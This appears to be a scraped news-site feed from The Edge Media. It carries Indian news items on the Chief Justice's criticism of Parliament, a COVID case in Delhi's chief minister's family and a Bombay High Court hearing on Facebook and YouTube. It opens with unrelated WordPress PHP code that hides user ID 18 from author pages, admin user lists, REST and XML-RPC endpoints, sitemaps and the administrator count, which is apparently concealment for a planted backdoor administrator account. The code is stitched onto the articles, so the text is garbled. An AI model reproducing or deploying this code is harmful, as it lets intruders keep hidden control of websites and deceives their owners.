add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Chief Justice criticizes the functioning of Parliament appeared first on The Edge Media.
]]>Calling the current situation “a sorry state of affairs”, he said there is “No proper debate” in the house.
“(There is) no clarity of laws. We do not know what the purpose of the law is. It is a loss to the public. This is when lawyers and intellectuals are not in the Houses,” he added.
“If we look at our freedom fighters, many of them were also in the legal fraternity. The first members of the Lok Sabha and Rajya Sabha were filled with lawyers’ community,” Chief Justice Ramana said at an event to mark the Independence Day at the Supreme Court.
Unfortunate what you see now in the Houses… Debates back then in the Houses were very constructive. I saw the debates over financial bills and very constructive points were made. Laws were discussed and deliberated. One had a clear picture of the legislative part of the law,” he said.
While the monsoon session of parliament started amid furore over the Pegasus spyware scam, the government had decided to push through several bills despite the disruptions. The opposition, which had been demanding a discussion on the allegations of spyware use on politicians, journalists and others, pointed out that the bills were passed without any discussion.
Trinamool Congress’s Rajya Sabha MP Derek O’Brien compared it to “making papri chaat”, pointing out that the government was allotting only seven minutes to a bill on an average. The remark had become another flashpoint between the government and the opposition.
“No bills passed in first week of monsoon session… Then Modi-Shah bulldozed 22 bills in 8 days at an average time of UNDER 10 MINUTES per Bill… Modiji, challenge these new numbers as I enjoy another plate of PAPRI CHAAT!” Mr O’Brien’s tweet read.
Check out the tweet here :
The government accused the opposition of “maligning the dignity of parliament” and conspiring to stop its functioning. The opposition parties accused the government of crushing their voice in parliament, “murdering” democracy and bringing “outsiders” as marshals to beat up MPs.
Yesterday, President Ram Nath Kovind alluded to the situation in parliament, saying “Our parliament is the temple of our democracy which provides us highest forum where we discuss, debate and decide issues for the well-being of our people”.
As the country celebrated its 75th Independence Day, Chief Justice Ramana also said It was a time to “review” the policies and achievements.
“75 years is not a small period in a country’s history. When we used to go to school they used to give us piece of jaggery and a small flag. Even though today we get so much we are not happy. Our saturation levels have reached the bottom,” he said.
I want to say to lawyers – do not confine yourselves to legal service. Do public service also. Contribute your knowledge and wisdom to this country also,” the Chief Justice added.
The post Chief Justice criticizes the functioning of Parliament appeared first on The Edge Media.
]]>The post Wife of Delhi CM Arvind Kejriwal tested corona positive appeared first on The Edge Media.
]]>He has isolated himself, but he is looking at every thing personally. Apart from this, the whole team is engaged under the leadership of Deputy Chief Ministers Manish Sisodia and Satyendra Jain.
Significantly, the number of corona cases has increased rapidly in the country as well as in Delhi in recent times. More than 25 thousand corona cases were filed in Delhi on Sunday.
Talking about the country, according to the data released by the Union Health Ministry, on Tuesday, more than two and a half lakh new cases have been reported in India.
This is the fourth consecutive day when more than 2.5 lakh new cases have been registered in the country, according to the Ministry, the number of total infected has increased to 1,53,21,089 after 2,59,170 new cases have come in the country in the last 24 hours.
At the same time, the maximum number of deaths in this period has been 1761, after which the total number of dead has increased to 1,80,530. The most worrying matter is that the number of active patients in the country has crossed the 20 lakh mark.
According to the Union Health Ministry, covid currently has 20,31,977 active in the country. That is, their treatment is either going on in the hospital or it is in home isolation on the instructions of the doctors.
The post Wife of Delhi CM Arvind Kejriwal tested corona positive appeared first on The Edge Media.
]]>The post If Ordered, Facebook & Youtube Can Block The AIMIM Supporter appeared first on The Edge Media.
]]>A division bench of Chief Justice Dipankar Datta and Justice Madhav Jamdar was hearing a petition filed by Mumbai resident Imran Khan, seeking a direction to the police to take action against Abu Faizal for uploading incriminating hate speeches on social media.
The petitioner’s lawyer earlier said Faizal was a supporter of the Asaduddin Owaisi-led All India Majlis-e- Ittehad-ul-Muslimeen (AIMIM). The plea sought deletion of videos uploaded by Faizal and also a permanent ban to be imposed on him from all social media websites. In May this year, the high court ordered YouTube and Facebook to delete the videos uploaded by Faizal.
On Monday, Facebook’s counsel Darius Khambata and YouTube’s advocate Naresh Thacker informed the court that the videos uploaded by the user (Faizal) have been deleted. The petitioner’s advocate, Vivek Shukla, told the court that Faizal has uploaded videos even after his earlier clips were deleted.
“We (Facebook) can block access of the site to this user (Faizal) if the central government passes an order as per the procedure laid down under the Information Technology Act or if the court orders us to do so,” Khambata said.
Thacker, appearing for YouTube, conceded and said the URLs of the earlier videos uploaded by the user (Faizal) have been deleted. The bench sought to know from Shukla if the petitioner approached the nodal officer appointed by the government under the IT Act Section 69(A) (power to delete/block objectionable content posted online). “The IT Act has laid down a procedure by which any person can approach the nodal officer if he or she has a complaint against any content posted on the internet. Why should the court interfere and pass orders,” Chief Justice Datta said. The bench later reserved its order on the plea.
– PTI
The post If Ordered, Facebook & Youtube Can Block The AIMIM Supporter appeared first on The Edge Media.
]]>